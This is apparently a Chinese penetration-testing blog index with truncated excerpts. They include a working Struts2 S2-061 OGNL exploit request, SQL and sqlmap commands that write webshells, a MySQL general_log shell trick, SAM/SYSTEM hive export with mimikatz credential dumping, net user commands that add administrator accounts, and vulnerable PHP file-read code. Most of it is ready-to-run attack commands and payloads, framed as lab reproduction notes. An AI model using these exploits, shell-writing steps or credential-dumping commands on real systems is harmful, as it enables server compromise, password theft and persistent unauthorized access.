0%

前言

工作中碰到一个系统是用了若依后台管理系统CMS的,碰巧 2021hvv 期间有爆出若依的RCE 0day,借此复现一下

漏洞描述

若依后台管理系统使用了snakeyaml 的jar包,snakeyaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。而若依后台管理系统可以通过定时任务功能构造payload远程调用jar包,从而执行任意命令

影响版本

V4.6.0版本经测试存在

漏洞分析

太菜了,就不分析了,可参考这篇文章,写的很详细了。在此感谢大佬写的分析文章
https://www.cnblogs.com/nice0e3/p/14514882.html

漏洞复现

dnslog验证漏洞

阅读全文 »

漏洞描述

S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。

影响版本

Struts 2.0.0到Struts 2.5.25

复现步骤

使用vulhub搭建漏洞环境:

1
docker-compose up -d

image.png
启动完成后打开http://ip:8080/页面如下:
image.png
使用以下poc访问:

1
2
3
4
5
6
7
8
9
GET /index.action?id=%25%7b%28%23instancemanager%3d%23application%5b%22org.apache.tomcat.InstanceManager%22%5d%29.%28%23stack%3d%23attr%5b%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5d%29.%28%23bean%3d%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3d%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3d%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3d%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2c%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2c%23emptyset%29%29.%28%23arglist%3d%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22id%22%29%29.%28%23execute%3d%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7d HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close


image.png

阅读全文 »

写shell命令总结

sql语句写入shell:

1
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

sqlmap写入shell:

1
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

日志文件写入shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name | Value |
+------------------+-----------------------------+
| general_log | ON |
| general_log_file | /var/www/html/info.php |
+------------------+-----------------------------+

# 往日志里面写入 payload
select '<?php phpinfo();?>';

hash密码获取

MySQL <= 5.6 版本

1
2
3
4
5
6
7
8
9
mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host | user | password |
+-----------+------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| % | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+------+-------------------------------------------+
阅读全文 »

内存中获取管理员明文密码

注册表导出hash解密

导出sam.hiv文件:

1
reg save hklm\sam C:\wwwroot\sam.hiv

image.png
导出sys.hiv文件:

1
reg save hklm\system C:\wwwroot\sys.hiv

image.png
下载这两个文件,放到mimikatz目录中:
image.png
image.png
双击启动mimikatz.exe文件:

1
2
log		//生成日志文件
lsadump::sam /sam:Sam.hiv /system:Sys.hiv //抓取密码

image.png
使用以下解码平台解密NTLM

阅读全文 »

getshell后启动远程连接

查询服务器远程连接:

进程查询:

查询进程服务名称为TermService的进行PID号:

1
tasklist /svc

image.png
查询PID号对应开启的端口号:

1
netstat -ano | find "1744"

image.png

注册表查询:

通过以下命令查询注册表:

阅读全文 »

phpmyadmin提权

SQL语句写getshell

前提条件

  • 已知web应用绝对路径。
  • mysql配置文件中secure_file_priv的值为空。

复现步骤

设置secure_file_priv的值为空:
image
重启配置生效:
image

查看是否具有写入权限:

1
show global variables like '%secure%';

image

  • secure_file_privnull表示不允许导入导出;
  • secure_file_priv指定文件夹时,表示mysql的导入导出只能在指定的文件夹;
  • secure_file_priv没有设置时,则表示没有任何限制;
阅读全文 »

windwos用户/用户组

net user:用户操作

以下以操作用户名test为例

  • net user test 密码 /add:添加用户
  • net user test 密码:修改用户名密码
  • net user test:查看test用户详情
  • net user test /active:yes:激活test用户
  • net user test /active:no:禁用test用户

net localgroup:用户组操作

  • net localgroup Administrators:查询Administrators用户组成员
  • net localgroup Administrators test /add:添加testAdministrators用户组
  • net localgroup Administrators test /del:从Administrators用户组删除test

默认可写目录

  • windows:C:/Windows/Temp
  • linux:/tmp

宝塔中间件降权

Apache使用www用户运行

阅读全文 »

权限划分

Windwos权限

  • SYSTEM:系统权限
  • Administrator:管理员权限
  • User:普通用户权限

Linux权限

  • root:最高权限
  • user:普通用户权限

shell权限

shell权限是由当前执行该服务(进程)的用户的权限决定的

权限维持

windows系统

启动项维持

阅读全文 »

危害说明

下载服务器任意文件,例如脚本代码、系统配置文件、等等可用的代码进行代码审计或是获取系统ssh进行登录、获取数据库账号密码进行连接等等

任意文件读取-利用与代码

例子一:读取文件

代码

1
2
3
4
<?php
$filename = $_GET['file'];
readfile($filename);
?>
1
2
3
4
5
6
7
8
9
<?php
$filename = $_GET['file'];

$fp = fopen($filename,"r") or die("Unable to open file!");
$data = fread($fp,filesize($filename));
fclose($fp);

echo $data;
?>
1
2
3
4
<?php
$filename = $_GET['file'];
echo file_get_contents($filename);
?>

利用

把以上三个文件分别上传到我自己的服务器:
image.png
分别访问三个测试代码读取1.txt文件

阅读全文 »

DNSlog回显原理

首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。
tp2020112001.png

DNS在解析的时候会留下日志,这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

利用场景

sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。

推荐平台

以下利用,我这里使用ceye平台演示。
image.png
他会给你一个三级域名,你把信息写在第四级域名上就好了,比如我这里访问hzktester.xxxx.cece.io ,访问之后就会有查询记录。
tp2020112003.png
image.png

利用一:SQL注入

利用场景:

阅读全文 »